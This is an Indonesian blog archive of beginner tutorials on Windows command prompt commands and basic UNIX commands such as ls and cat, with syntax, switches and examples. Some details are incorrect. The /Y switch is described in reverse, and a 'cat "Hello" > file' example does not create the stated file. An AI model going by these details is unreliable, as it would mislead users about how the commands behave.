Bentuk 1 : REPLACE [drive1:][path1]filename [drive2:][path2] [/A] [/P] [/R] [/W]
bentuk 2 : REPLACE [drive1:][path1]filename [drive2:][path2] [/P] [/R] [/S] [/W] [/U]
Keterangan :
[drive1:][path1] = menunjukkan lokasi file asal yang akan di duplikasi.
filename = nama file asal yang akan di duplikasi.
[drive2:][path2] = menunjukkan letak lokasi dimana file akan diletakkan.
/A = menambah file pada suatu direktori tanpa mengubah file yang pernah ada di direktori tersebut, pilihan ini tidak bisa digabungkan dengan pilihan /S ataupun /U.
/P = meminta sistem agar memberi tanda permintaan persetujuan proses duplikasi file.
/R = untuk menggantikan hanya file yang bersifat Read-only pada lokasi tujuan.
/S = meletakkan file di semua subdirektori pada direktori tujuan. pilihan ini tidak bisa digunakan secara bersamaan dengan parameter /A.
/W = memberitahukan sistem untuk memberi kabar dan menunggu respon operator untuk memulai pelaksanaan operasi perintah ini.
/U = Replaces (updates) only files that are older source files. Cannot use with the /A switch.

contoh :
C:\>REPLACE F:\data\test.txt D:\data\test.txt

penulisan tersebut akan menduplikasi file "test.txt" ke direktori data yang berada pada drive D


5. SHARE
Tujuan : mengambil resident module file sharing
Bentuk : SHARE [/F:filespace] [/L:locks]
keterangan :
/F:filespace = untuk mengalokasikan ruang memori sejumlah byte yang dikehendaki (default 2048 byte).
/L:locks = untuk mengalokasikan sejumlah ruang yang terkunci (default 20 kunci).

contoh :
c:\>SHARE /F:4089 /L:20

untuk mengalokasikan 4080 byte untuk ruang file yang akan dipakai bersama-sama dengan 20 kunci.
tetapi pada windows yang sekarang seperti xp ataupun vista perintah ini masih bisa eksekusi tetapi tidak tampak hasil ataupun informasi hasil eksekusi dari command prompt, bagi yang tau boleh donk... bocoran tentang perintah ini.


6. SUBST
Tujuan : mengganti suatu direktori dengan indeks drive buatan atau memberi informasi status tersebut.
Bentuk 1 : SUBST [drive1: [drive2:]path]
Bentuk 2 : SUBST drive1: /D
Keterangan :
drive1: = digunakan untuk mendefinisikan indeks drive sebagai pengganti nama suatu direktori
drive2: = tujuan direktori yang akan diberi indeks
/D = menghapus indeks direktori yang telah dibuat

contoh :
C:\>SUBST Z: D:\DATA\KULIAH

perintah tersebut digunakan untuk mengganti nama subdirektori DATA\KULIAH yang ada di drive D dengan indeks drive, Anda dapat menganti/memilih salah satu index dari huruf A-Z dengan ketentuan indeks tersebut bukanlah indeks yang sudah ada. misal indeks suatu drive yang sudah ada (biasanya C dan D). Dan hanya diperbolehkan satu karakter untuk mendefinisikan indeks tersebut. Dan untuk pemakaian :

C:\>DIR D:\DATA\KULIAH

dapat dilakukan dengan cara :

C:\>DIR Z:

yang menghasilkan hasil yang sama. untuk menghapus definisi tersebut gunakan perintah berikut:

C:\>SUBST Z: /D

atau untuk melihat status dari definisi tersebut, dapat dilihat dengan perintah :

C:\>SUBST


7. FORMAT
Tujuan : Menginisialisasi media disk.
Bentuk1 : FORMAT volume [/FS:file-system] [/V:label] [/Q] [/A:size] [/C] [/X] [/P:passes]
Bentuk2 : FORMAT volume [/V:label] [/Q] [/F:size] [/P:passes]
Bentuk3 : FORMAT volume [/V:label] [/Q] [/T:tracks /N:sectors] [/P:passes]
Bentuk4 : FORMAT volume [/V:label] [/Q] [/P:passes]
Bentuk5 : FORMAT volume [/Q]
Keterangan :
volume = menunjukkan nama drive dikuti dengan tanda titik 2 (misal : C:,D:,F:,G:)
/FS:file-system = mendefinisikan sistem file yang akan digunakan (misal : FAT,FAT32,exFAT,NTFS,UDF)
/V:label = untuk memberikan nama pada disk
/Q = format dengan cepat (quick format)

/A:size = menimpa alokasi file default dengan alokasi yang akan kita buat sendiri
pengaturan default sangat dianjurkan, tetapi jika anda ingin merubahnya berikut ukuran alokasi yang bisa dipakai untuk setiap sistem file :
untuk NTFS mendukung 512, 1024, 2048, 4096, 8192, 16K, 32K, sampai 64K.
untuk FAT mendukung 512,1024,2048,4096,8192,16K,32K,64K,(128K, 256K for sector size > 512 bytes).
untuk FAT32 mendukung 512,1024,2048,4096,8192,16K,32K,64K,(128K,256K for sector size > 512 bytes).
untuk exFAT mendukung 512,1024,2048,4096,8192,16K,32K,64K,128K,256K,512K,1M,2M,4M,8M,16M,32M.
catatan :
khusus untuk FAT dan FAT32 ada penetapan cluster yaitu,
FAT: Number of clusters <= 65526
FAT32: 65526 < Number of clusters < 4177918
format akan segera dihentikan bila jika tidak ditemukan cluster yang telah ditentukan.
untuk kompresi NTFS tidak akan mendukung jika besar file alokasinya hanya sebesar 4096.

/C = berlaku pada sistem file NTFS saja. file baru yang dibuat di disk akan di kompresikan secara default.
/X = memaksa disk untuk tetap di format walaupun sedang dalam keadaan terbuka oleh program lain.
/P:passes = mengosongkan tiap sektor pada disk. pilihan ini tidak bisa disatukan dengan pilihan /Q.
/F:size = menentukan besar dari floppy disk untuk diformat (1.44).
/T:tracks = menunjukkan berapa banyak sektor per disk
/N:sectors = menunjukkan berapa banyak sektor per track

contoh 1 :
saya ingin memformat flashdisk(H:) saya dengan sistem file FAT dan memberikan nama FDnya "HASIL"
saya cukup ketikkan perintah berikut :

c:\>FORMAT H: /FS:FAT /v:HASIL

contoh 2 :
bila flasdisk dalam keadaan terbuka oleh program lain tetapi saya tetap ingin memformatnya cukup ketikkan perintah berikut :

C:\>FORMAT H: /FS:FAT /v:HASIL /X


8. GRAFTABL
Tujuan : Mengambil tabel grafik ke RAM
Bentuk1 : GRAFTABL [xxx]
Bentuk2 : GRAFTABL /STATUS
keterangan :
instruksi GRAFTABL menyatakan persiapan tabel untuk karakter ASCII yang berkode 128 hingga 255 yang akan digunakan pada color/graphic adapter.
penggunaan ini akan mengurangi jumlah ruang RAM dan menambah resident memory dos di RAM.
pilihan xxx anda bisa masukkan dengan angka 437,850,863 atau 865 untuk menentukan tabel ASCII yang akan dipakai berdasarkan kode halaman tersebut.
pilihan /STATUS digunakan untuk menampilkan nomor kode halaman ASCII suatu negara yang pernah dipilih.

contoh :
C:\>GRAFTABL 437

pengambilan tabel dengan kode halaman 437 yang akan diletakkan pada RAM sebagai resident modul.


9. GRAPHICS
Tujuan : Mempersiapkan fasilitas print screen untuk model grafik.
Bentuk : GRAPHICS [type] [[drive:][path]filename] [/R] [/B] [/LCD] [/PRINTBOX:STD | /PRINTBOX:LCD]
Keterangan :
type = menunjukkan tipe printer yang dipakai, anda dapat menggantinya dengan :
COLOR1 : printer dengan tinta hitam putih
COLOR4 : printer dengan tinta red, green, blue, black
COLOR8 : printer dengan tinta cyan, magenta, yellow, black
COMPACT : untuk pemakai compact printer
GRAPHICS : untuk pemakai graphic printer.
lihat panduannya dalam user guide atau referencenya
[drive:][path]filename = menunjukkan letak file informasi pendukung printer
/R digunakan untuk mencetak pada printer dengan keadaan warna seperti pada layar. Jika pilihan ini tidak digunakan, maka sistem akan mencetak hitam sebagai putih dan putih sebagai hitam.
/B untuk mencetak warna background. pilihan ini hanya digunakan untuk printer jenis COLOR4 dan COLOR8. jika pilihan ini tidak dipakai maka warna background tidak akan dicetak.
/LCD mencetak dengan ratio
/PRINTBOX:STD | /PRINTBOX:LCD memilih besar cetakkan, standar atau sesuai layar (LCD)

contoh :
c:\>GRAPHICS

digunakan untuk mempersiapkan printer untuk pencetakkan layar grafik


10. TREE
Tujuan : Memberikan informasi dari struktur organisasi hirarki isi suatu disk.
Bentuk : TREE [drive:][path] [/F] [/A]
Keterangan :
[drive:][path] = menunjukkan drive yang akan dilihat folder/struktur organisasi direktorinya.
/F = untuk menampilkan seluruh file yang terdapat pada direktori yang bersangkutan.
/A = menggunakan ASCII untuk hirarkinya

contoh :

C:\>TREE D:\DATA /F

perintah tersebut akan memperlihatkan semua isi dari direktori DATA yang berada pada drive D.

lihat perintah lain dari commmant prompt di halaman utama.

Rabu, 04 Juni 2008

Instruksi dasar command prompt

1. Instruksi ATTRIB (Set Attribute Files)
Tujuan : merubah attribut dari suatu file.
Bentuk : ATTRIB [+R|-R][+A|-A][+S|-S][+H|-H][drive:][path][filename][/S[/D]]
Keterangan :
Penggunaan pilihan [+R] untuk merubah attribute file menjadi Read-only
Penggunaan pilihan [-R] untuk merubah attribute file menjadi Read-write
Penggunaan pilihan [+A] untuk mengubah archive file menjadi On
Penggunaan pilihan [-A] untuk mengubah archive file menjadi Off
Penggunaan pilihan [+S] untuk mengubah system file menjadi On
Penggunaan pilihan [-S] untuk mengubah system file menjadi Off
Penggunaan pilihan [+H] untuk mengubah Hidden file menjadi On
Penggunaan pilihan [-H] untuk mengubah Hidden file menjadi Off
Pilihan [drive:] dan [path] menunjukkan letak file/direktori
Pilihan [filename] nama file yang akan diubah attributnya
Pilihan [/S[/D]] untuk menunjuk semua file yang berada pada folder dan semua subfolder
- untuk "R","A","S","H" dapat diikut sertakan secara bersamaan atau sendiri
- untuk melihat attribut yang aktif pada file anda cukup ketikkan "ATTRIB namafile"
- untuk "/S" dapat berdiri sendiri kecuali "/D" harus diikutsertakan "/S"

contoh ke-1:
Saya mempunyai file yang berlokasi di D:\("D" dapat berupa harddisk/flashdisk/disket)
nama file yang saya akan rubah attributnya bernama "data.txt"
saya mau merubah attribut file tersebut menjadi hidden melalui command prompt
maka ketikkan kode di bawah ini:

ATTRIB +H D:\data.txt

untuk menambahkan attribut lainnya anda dapat mengetikkan kode berikut :

ATTRIB +R +A +S +H D:\data.txt

contoh ke-2:
Saya mempunyai beberapa file yang berada di suatu folder dan saya ingin merubah semua attribut
file tersebut menjadi "Read-only" secara bersamaan, letak file saya ada di D:\namafolder\*.txt maka tidak mungkin jika saya menggunakan cara pertama untuk merubahnya. Bisa kriting jari saya, untuk merubah attribut file yang lebih dari satu file. cukup ketikkan kode di bawah ini:

ATTRIB +R D:\namafolder\*.txt /S

untuk menambahkan attribut lainnya anda dapat mengetikkan kode berikut :

ATTRIB +R +A +S +H D:\namafolder\*.txt /S

untuk kode diatas tidak berlaku untuk attribut foldernya
ketikkan kode berikut untuk merubah attribut foldernya :

ATTRIB +R +A +S +H D:\namafolder\*.txt /S /D

untuk simbol "*" digunakan untuk pengganti nama yang berbeda tetapi extensinya sama
untuk "txt" juga dapat dirubah menggunakan simbol "*" jika extensinya berbeda-beda
atau menggunakan tanda "?" jika nama file\ektensinya berbeda satu huruf misalnya
saya mempunyai 2 file dengan nama "data.txt" dan "sata.txp" maka saya dapat menunjuk 2 file
tersebut dengan mengetikkan "?ata.tx?" atau "????.???" jumlah simbol "?" harus sesuai dengan jumlah nama file dan ektensinya.


2. CLS (clear screen)
Tujuan : membersihkan layar command prompt
Bentuk : CLS
untuk perintah yang satu ini sudah sangat jelas, membersihkan layar.


3. COPY (menggandakan)
Tujuan : Membuat duplikasi file
Bentuk : COPY [/D][/V][/N][/Y|/-Y][/Z][/A|/B] source [/A|/B] [+ source [/A|/B][+...]][destination[/a|/b]]
Keterangan :
source = spesifik dari file atau beberapa file yang akan dicopy
/A = (A = file ASCII) akan menyebabkan file yang diduplikasi diperlakukan sebagai file berbentuk ASCII dan proses copy akan dihentikan pada saat ditemukan karakter Ctrl-Z(^Z) pertama kali. parameter ini menyebabkan file tujuan akan ditambah karakter Ctrl-Z pada akhir filenya.
/B = (B = file Biner) digunakan untuk menduplikasi file yang ada.
/D = membiarkan file tujuan menjadi decrypted
/V = digunakan untuk mengaktifkan proses verifikasi terhadap sektor dari disk tujuan duplikasi agar proses copy dapat berjalan sesuai kehendak. Jika telah digunakan instruksi verifikasi ON maka penggunaan pilihan perameter [/v] tidak membawa pengaruh lagi.
/N = memberikan nama yang pendek jika tersedia saat mengcopy file yang tipenya non-8dot3.
/Y = meminta konfirmasi untuk meniban file kepada user, jika ada file yang bernama sama.
/-Y = kebalikan dari yang di atas, ini tidak akan menkonfirmasi anda.
/Z = mengcopy file network dalam mode restartable
/L = jika targetnya berupa simboliklink

maaf untuk instruksi copy masih dalam penelitian saya jadi saya belum bisa memberikan contoh yang maksimal kepada anda tetapi saya akan tetap memberikan sedikit contoh kepada anda.

contoh ke-1:
misal anda mempunyai file bernama "data.txt" yang berlokasi di D:\data.txt
dan anda ingin mengcopy file tersebut ke flashdisk anda sebut saja flashdish anda berada di H:\
maka kode yang harus anda tulis yaitu:

copy /B D:\data.txt H:\

jika anda ingin menggabungkan file "data.txt" dengan file lain misal file keduanya bernama "data2.txt"
dan kebetulan lokasi kedua file tersebut sama. dan tempat hasil jadinya anda ingin letakkan di drive H:\
maka anda cukup ketikkan kode berikut :

copy /B D:\data.txt+D:\data2.txt H:\

anda dapat menggabungkan lebih dari satu file dengan menggunakan simbol "*" atau "?"


4. DEL / ERASE
Tujuan : menghapus file
bentuk : [/P][/f][/S][/Q][/A[[:]attribute]] namafile
keterangan :
namafiles = spesifikasi daftar nama file atau direktori/folder. simbol "*" dapat digunakan untuk menghapus beberapa file (multiple). jika nama direktori yang ditunjuk, semua file dalam direktory akan dihapus
/P -------= memunculkan konfirmasi sebelum file di hapus
/F -------= (force deleting) untuk menghapus Read-only file
/S -------= menghapus file dari semua subdirektori yang ditunjuk
/Q -------= (quiet mode) tidak memunculkan pertanyaan lagi jika awalnya sudah dikonfirmasi untuk dihapus biasanya jika anda mengunakan simbol "*" secara global
/A -------= menghapus file secara paksa walaupun di file tersebut attributnya dalam keadaan ON
attribute = cukup ketikkan salah satu huruf di bawah ini: (boleh diketik boleh tidak)
----------- D direktori ----------- R read-only file
----------- H hidden file --------- A archive file
----------- S system file --------- I not content indexed file
----------- L reparse point ------- - kembali ke defaultnya

contoh ke-1:
saya mempunyai file yang bernama "data.txt" yang berlokasi di D:\data.txt
saya mau menghapus file tersebut melalui command prompt
maka ketikkan kode di bawah ini:

del D:\data.txt

jika file "data.txt" diberi attribut Read-only file, cara di atas tidak akan bisa menghapusnya, coba anda ketikkan kode berikut:

DEL /F D:\data.txt

lalu bagaimana klo semua attribut file dalam keadaan aftif semua kode di atas tidak akan ampuh, yang timbul paling tulisan "could not find D:\data.txt"
kode di bawah ini paling ampuh, alias maksain untuk dihapus:

DEL /F /Q /A D:\data.txt

untuk menghapus beberapa file sekaligus anda dapat menggunakan simbol "*" atau "?"

contoh ke-2:
saya mempunyai file di dalam folder letaknya di D:\ dan saya ingin menghapus file yang
berekxtensi ".txt" saja dan kebetulan file tersebut mempunyai 4 attribut yang aktif
maka anda cukup ketikkan kode berikut :

DEL /F /Q /A D:\namafolder\*.txt

tanda "*" berguna untuk menunjuk sembarang nama tetapi mempunyai ekstensi yang sama yaitu ".txt"



5. DIR
Tujuan : menampilkan isi directory
Bentuk : DIR [drive:][path][namafile][/A[[:]attribut]][/B][/C][/D][/L][/N]
[/O[[:]sortorder]][/P][/Q][/R][/S][/T[[:]timefield]][/W][/X][/4]
Keterangan :
[drive:][path][namafile] = spesifik dari drive, direktori, dan/atau file yang mau dilihat
/A = melihat file berikut attributnya
attribut = cukup ketikkan salah satu huruf di bawah ini: (boleh diketik boleh tidak)
---------- D direktori ----------- R read-only file
---------- H hidden file --------- A archive file
---------- S system file --------- I not content indexed file
---------- L reparse point ------- - kembali ke defaultnya

/B = menggunakan format bare, efeknya informasi tanggal dan jam tak tampak
/C = untuk memberi pemisah pada keterangan besar file (ini aturan defaultnya) untuk tidak mengaktifkannya ketik " /-C "
/D = tampilan hasilnya akan berupa kolom
/L = semua nama menjadi huruf kecil semua (lowercase)
/N = menampilkan nama file di sebelah kanan efeknya nama file yang panjang sekalipun masih bisa dilihat ini adalah aturan defaulnya untuk merubahnya ketikkan " /-N "
/O = menampilkan sesuai alphabet, bisa memilih dengan kategori nama,ekstensi,besarfile,waktu :
---- N urutan nama (alphabet) ------ S besar file (terkecil dahulu)
---- E urutan ekstensi(alphabet) ---- D tanggal/waktu (terlama dahulu)
---- G diawali direktori -------------- - membalikkan urutan (hanya direktorinya saja yang dibalik)

/P = menghentikan proses sementara jika list melebihi layar, bisa dilanjutkan dengan menekan tombol apa az
/Q = menampilakan pemilik dari file
/S = menampilkan semua file yang berada dalam direktori maupun subdirektori
/T = menampilkan list waktu file berdasarkan waktu membuat,akses dan penulisan
/W = menampilkan list dengan tampilan wide yaitu nama file/folder berada di sebelah kiri
/X = menampilkan nama pendek untuk nama file non-8dot3
/4 = menampilkan empat digit tahun

contoh ke-1:
saya mempunyai beberapa file dan folder yang ingin saya lihat letaknya di D:\
maka saya cukup ketikkan kode di bawah ini :

DIR D:\

tetapi saya ingin melihat isi dari folder yang saya beri nama "video"
lataknya masih di dalam storage D:\ maka saya cukup ketikkan :

DIR D:\video

mudah kan?

contoh ke-2:
tetap di direktori "video" saya masih belum melihat nama file yang
saya cari mungkin ada beberapa file yang masih menggunakan attribut
seperti super hidden maka saya perlu sedikit memodifikasi kodenya menjadi :

DIR D:\video /A

saya sudah melihat file yang dihidden. tetapi listnya terlalu panjang diakibatkan file yang saya
punya terlalu banyak, jadi saya kesulitan untuk mencarinya. untuk itu saya perlu memilah file
agar file yang muncul berurutan sesuai keinginan saya. karena itu saya akan memilah dengan ekstensi
agar lebih mudah mencarinya, maka saya tambahkan kodenya menjadi :

DIR D:\video /A /O:E

kode diatas akan mengurutkan ekstensi sesuai alphabet, untuk kode lainnya anda bisa memodifikasinya asalkan sesuai dengan bentuk yang diberikan.


6. CD / CHDIR
Tujuan : merubah status default direktori
Bentuk : CHDIR [/D] [drive:][path]
---------- CHDIR [..]
---------- CD [/D]
---------- CD [..]

keterangan :
/D = bila pindah drive ini mesti diikut sertakan
[drive:][path] = alamat direktori yang mau dituju
[..] = untuk merubah ke direktori utama/paling atas

contoh :
saya ingin masuk ke direktori "windows" yang berada di C:|
maka ketikkan kode ini : CD C:\windows


7. MD / MKDIR
Tujuan : membuat direktori baru
Bentuk : MKDIR [drive:]path
---------- MD [drive:]path

keterangan :
[drive:]path = alamat untuk membuat direktory baru

contoh :
saya ingin membuat direktori baru
maka saya cukup ketikkan :

MD namadirektori

anda juga dapat membuat direktori di dalam direktori (subdirektori)
yang baru anda buat secara langsung, dengan kode berikut:

MD namadirektori1\namadirektori2\namadirektori3

kode di atas sama dengan kode berikut:

MD namadirektori1
CD namadirektori1
MD namadirektori2
CD namadirektori2
MD namadirektori3


lebih lama cara kedua bukan... jadi tinggal pilih aza mana yang enak buat anda.


8. RD / RMDIR
Tujuan : menghapus direktori
Bentuk : RMDIR [/S] [/Q] [drive:]path
---------- RD [/S] [/Q] [drive:]path

keterangan :
/S = menghapus direktori beserta file dan folder yang ada di dalamnya
/q = menghapus cepat (tidak akan muncul pertanyaan)

contoh :
saya ingin menghapus direktori "namadirektori1" beserta folder dan file di dalamnya
maka saya cukup ketikkan : RD /S /Q D:\namadirektori1


9. REN / RENAME
Tujuan : merubah nama file
Bentuk : RENAME [drive:][path]filename1 filename2
--------- REN [drive:][path]filename1 filename2

keterangan :
[drive:][path] = letak alamat file
filename1 = nama awal file yang akan dirubah
filename2 = nama untuk nama baru (bebas)

contoh :
saya ingin merubah file saya dari "olahraga.wmv" menjadi "sport.wmv"
yang berada di drive D, maka ketikkan kode berikut :

REN D:\olahraga.wmv sport.wmv

mudah sekaliiii kan....... lanjut......


10. TYPE
Tujuan : mencetak isi dari file
Bentuk : TYPE [drive:][path]filename

keterangan :
[drive:][path] = alamat tempat file berada
filename = nama file yang isinya akan dicetak

contoh :
saya ingin melihat isi dari file "dos.txt" yang berada di drive D,
maka saya cukup ketikkan : TYPE D:\dos.txt


11. EXIT
Tujuan : untuk menutup/keluar dari jendela command prompt
Bentuk : EXIT

12. MOVE
Tujuan : Memindahkan satu/beberapa file dari satu direktori ke direktori yang lain.
untuk memindahkan satu atau beberapa file gunakan bentuk ini:
Bentuk : MOVE [/Y | /-Y] [drive:][path]namafile1[,...] tujuan
Untuk merubah nama direktori gunakan bentuk berikut :
Bentuk : MOVE [/Y | /-Y] [drive:][path]namadir1 namadir2
Keterangan :
[drive:][path]namafile1 = alamat tempat file berada
tujuan = alamat/letak penempatan tujuan file dan nama file baru yang di ingin dipindahkan bisa berupa file maupun direktori.untuk memindahkan beberapa file anda dapat mengunakan karakter "*" atau "?".
[drive:][path]namadir1 = menunjukkan letak direktori yang akan di rename
namadir2 = menunjukkan nama baru dari direktori
/Y = meminta konfirmasi untuk meniban file kepada user, jika ada file yang bernama sama (bila tidak dipakai maka defaultnya adalah /Y)
/-Y = kebalikan dari yang di atas, ini tidak akan menkonfirmasi anda.

contoh :
C:\>MOVE /Y D:\DATA\TEST.TXT D:\BERKAS\TEST1.TXT

perintah di atas untuk memindahkan file bernama "TEST.TXT" dari direktori DATA ke direktori BERKAS sekaligus mengganti nama filenya menjadi "TEST1.TXT".

kata-kata atau simbol yang perlu anda perhatikan:
- untuk 3 simbol seperti "[|]" tidak perlu di ketikan
- path, anda dapat memberikan path dengan cara meletakkan simbol "\"
- tanda "----" tidak perlu diketik

beberapa perintah dasar di atas adalah perintah-perintah yang sering kali digunakan
untuk perintah tingkat berikutnya anda bisa lihat di halaman utama
plzz comment jika ini sangat membantu anda.

Senin, 02 Juni 2008

Perintah-perintah command prompt

Command Prompt ? seperti apa sich ? mau tau ? ikutin petunjuk di bawah ini
coba anda nyalakan komputer anda yang ber-OS windows, kemudian :
- pada desktop klik Start --> pilih Run --> ketikan cmd --> enter/ok
maka akan tampak layar hitam seperti gambar di bawah ini



- ketikkan "HELP" untuk mengetahui perintah-perintah dalam command prompt



- Untuk mengetahui daftar parameter
spesifik untuk perintah tertentu, ketikkan spasi diikuti tanda /? di belakang
perintah utama. Misalnya, untuk mengetahui parameter-parameter apa saja yang
dapat diberikan untuk perintah "DIR", cukup ketikkan "DIR /?" kemudian tekan
Enter.


Tetap belum mengerti walaupun sudah ada bantuan dari "/?" gimana yach.... next...
Di bawah ini diberikan ringkasan daftar perintah-perintah yang dapat digunakan
di Command Prompt, saya akan menerangkan satu persatu secara acak dari perintah yang sering digunakan. dan saya akan membaginya menjadi beberapa bagian coz perintahnya cukup banyak:


bagian 1:
Perintah-perintah ini adalah perintah dasar diperuntukkan bagi mereka yang masih dalam tahap belajar.

ATTRIB = Untuk melihat/mengubah atribut file
CLS = Untuk menghapus layar monitor
COPY = Untuk mengkopi file
DEL = Untuk menghapus file
ERASE = untuk menghapus file
DIR = Untuk melihat daftar file/folder di folder/direktori tertentu
CD = Untuk berpindah ke directory yang dituju
CHDIR = Untuk berpindah ke directory yang dituju
MD = Untuk membuat direktori/folder baru
MKDIR = Untuk membuat direktori/folder baru
RD = Untuk menghapus folder (folder kosong)
RMDIR = Untuk menghapus folder (folder kosong)
REN = Untuk mengubah nama file/folder
RENAME = Untuk mengubah nama file/folder
TYPE = Untuk melihat isi file
EXIT = keluar dari program CMD.EXE
MOVE = Memindahkan satu/beberapa file dari satu direktori ke direktori yang lain.
anda bisa lihat penjelasannya di sini


Bagian 2:
Perintah-perintah pada file batch. untuk mengedit/membuat file batch
adapun perintah dari file batch antara lain:

  • CALL
  • ECHO
  • FOR
  • GOTO
  • IF
  • PAUSE
  • REM
  • SHIFT

Kegunaan dan contoh perintahnya anda baca di halaman ini.


bagian 3:

BREAK = Mengontrol karakter ctrl-break
CHCP = memilih kode halaman ASCII
DATE = melihat dan merubah tanggal
PATH = memberi jejak pada subdirektori
PROMPT = merubah default prompt OS
SET = memasukkan suatu string ke peralatan processor
TIME = melihat dan merubah waktu
VER = melihat versi OS
VERIFY = verifikasi data yang akan ditulis
VOL = menampilkan label volume suatu disk
untuk penjelasannya anda bisa lihat di halaman ini.


Bagian 4:

APPEND = memberi jejak file
CHKDSK = analis sebuah flashdisk/hardisk
COMMAND = meminta eksekusi perintah processor kedua
COMP = membandingkan suatu file dengan file lain
DISKCOMP = membandingkan suatu disket dengan disket lain
DISKCOPY = membuat duplikasi disket
EXE2BIN = mengubah nama file dengan nama perluasan .EXE menjadi .COM atau .BIN
FASTOPEN = menentukan lokasi file direktori dengan cepat
LABEL = Membuat, mengubah, atau menghapus volume label dari sebuah flasdisk/harddisk
MODE = Menkonfigurasi alat yang ada pada sistem.
Lebih detailnya anda bisa lihat di halaman ini.


Bagian 5:

NLSFUNC = mempersiapkan pemakaian intruksi CHCP
PRINT = Mencetak suatu file kepada media printer.
RECOVER = Memperoleh kembali file dari sektor yang rusak.
REPLACE = Duplikasi file tertentu dari suatu disk/direktori.
SHARE = mengambil resident module file sharing
SUBST = mengganti suatu direktori dengan indeks drive buatan.
FORMAT = Menginisialisasi media disk.
GRAFTABL = Mengambil tabel grafik ke RAM.
GRAPHICS = Mempersiapkan fasilitas print screen untuk model grafik.
TREE = Menampilkan secara grafis struktur direktori dari sebuah drive atau path.
Untuk melihat lebih jelas tantang intruksinya anda bisa di halaman ini.

perintah yang jarang digunakan:
DEBUG = Untuk melihat/mengubah isi file dalam format heksadesimal
REG = Untuk melihat/mengubah/menghapus key/value registry
TASKKILL = Untuk menghentikan/membunuh proses yang sedang berlangsung
TASKLIST = Untuk melihat daftar proses yang sedang berlangsung
ASSOC = Menampilkan atau mengubah asosiasi ekstensi file.
BCDEDIT = mengkonfigurasi boot data store
CACLS = Menampilkan atau mengubah access control lists (ACLs) dai files.
CALL = Memanggil sebuah program batch dari program batch yang lain.
CHKNTFS = Menampilkan atau mengubah pemeriksaan disket pada saat booting.
CMD = Menjalankan interpreter command Windows yang baru.
COLOR = Mengubah warna foreground dan background pada command prompt.
COMPACT = Menampilkan atau mengubah kompresi file pada partisi NTFS.
CONVERT = Mengkonversi FAT ke NTFS. Anda tidak dapat mengkonversi drive yang sedang aktif.
DISKPART = mempartisi harddisk (?)
DOSKEY = Mengedit baris perintah, memanggil kembali perintah Windows, dan membuat macro.
DRIVERQUERY = melihat/mengontrol list driver yang terinstal
ENDLOCAL = Mengakhiri localization dari environment changes in a batch file.
FC = Membandingkan 2 atau beberapa file, dan Menampilkan perbedaan file-file tersebut.
FIND = Mencari string teks dalam sebuah file atau beberapa file.
FINDSTR = Mencari string dalam file.
FSUTIL = utility
FTYPE = Menampilkan atau mengubah tipe file yang digunakan dalam asosiasi ekstensi file.
GPRESULT = melihat RSOP dari target (komputer)
ICACLS = mengatur file acl (masih diragukan)
MKLINK = membuat simbolic link
OPENFILES = disconnect file and folder have been opened on a system
POPD = Mengembalikan nilai sebelumnya dari direktori sekarang yang disimpan oleh PUSH.
PUSHD = Menyimpan direktori sekarang kemudian mengubahnya.
ROBOCOPY = robust file copy for windows
SETLOCAL = Memulai localization dari environment changes dalam sebuah batch file.
SC = komunikasi dengan services control
SHUTDOWN = Menshutdown atau merestart windows
SORT = Mensortir input.
START = Memulai jendela terpisah untuk menjalankan perintah atau program spesifik.
SYSTEMINFO = Melihat spesific dari sistem
TITLE = Mengatur judul jendela untuk sesi CMD.EXE.
XCOPY = Menyalin file dan pohon direktori.
WMIC = mengatur keseluruhan system


Maaf artikel belum selesai dan masih butuh perbaikan tunggu beberapa hari lg yaw...
mudah-mudahan saya bisa menyelesaikannya
tunggu ya.....


inspirasi : Ian Chandra K. (PC DOS)

Selasa, 27 Mei 2008

Berkenalan dengan perintah UNIX

Hmm.. saatnya bermigrasi... ;) Well, kali ini kita akan belajar mengenal perintah-perintah dasar UNIX. Adapun hal-hal yang perlu anda perhatikan sebelum memulai ialah:

-----------------------------------------------------------------------------------------------

- Linux/UNIX membedakan huruf besar dan huruf kecil (case sensitive).

- Semua perintah UNIX ditulis dengan huruf kecil.

- Jika nantinya anda membutuhkan penjelasan lebih lanjut dari suatu perintah, pergunakan "rumus sakti" berikut, ketik pada konsol anda:

$ man perintah

Misalnya:

$ man cd

man dapat diartikan sebagai manual. Perintah diatas berarti akan menampilkan manual untuk perintah cd. Untuk selanjutnya, anda bisa melakukan hal yang sama pada perintah-perintah lain.

-----------------------------------------------------------------------------------------------


--------
ls
--------

Perintah ini dipergunakan untuk menampilkan daftar file yang berada di dalam directory.

$ ls --help

Perintah diatas akan menampilkan bantuan untuk perintah ls
$ ls -l

Untuk menampilkan informasi tambahan (l = long)
$ ls -a

Perintah tersebut akan menampilkan hidden file. a disini mewakili kata atrribute
$ ls -la
Informasi tambahan yang ditampilkan oleh flag -l menyangkut user yang memiliki 'owns', file tanggal dan jam file itu dibuat, hak/permissions file, serta informasi-informasi lain. Contohnya :
rwxr-x--x
Catatan :
karakter 1-3: user/owner permissions
karakter 4-6: group permissions
karakter 7-8: other permissions
Penjelasan dari masing-masing karakter tersebut ialah:
r - read, permissions utk 'baca'
w - write, permission utk 'tulis'
x - (e)xecute, permission utk 'menjalankan'

Jadi, arti contoh diatas ialah:

*

user/owner dapat melakukan (hak) read/baca, write/tulis dan execute/jalankan file yang satu group dengan user/owner dapat read/baca, execute/jalankan file user lain dapat execute/menjalankan file tersebut.
*

Hal ini berarti permission tidak ada, jika ada d sebelum permission berarti itu adalah directory.

--------------
cat

--------------
Perintah cat atau concatenate dipakai untuk menampilkan dan menulis/membuat file. $ cat spyrozone.txt



- Menampilkan isi file spyrozone.txt
$ cat "Hello" > spyrozone.txt



Membuat file dengan nama spyrozone.txt yang berisi teks Hello. Untuk menambahkan isi file, ketik:

$ cat "Hello SPYRO" >> spyrozone.txt



Anda tinggal mengubah tanda > menjadi >>



$ cat -n tutorial.txt
Perintah diatas akan menampilkan isi tutorial.txt disertai dengan nomor baris. Berguna bila anda ingin melihat ini source code suatu program, misalnya C/C++



Anda bisa menggabungkan isi beberapa file menjadi satu file. Misalnya anda beberapa memiliki file dengan nama spyro1.txt & spyro2.txt. Anda ingin mengabungkan seluruh file tersebut pada sebuah file bernama spyrozone.txt, maka perintah yang digunakan ialah:

$ cat spyro1.txt spyro2.txt > spyrozone.txt


--------------

more
--------------
Menampilkan isi dari file secara perlayar.
$ more tutor.txt



Anda akan melihat deretan angka 1 sampai 23 dan di baris terbawah tertera angka tulisan "--More--(20%)". Untuk bernavigasi saat melihat tampilannya, gunakan dua tombol berikut ini.



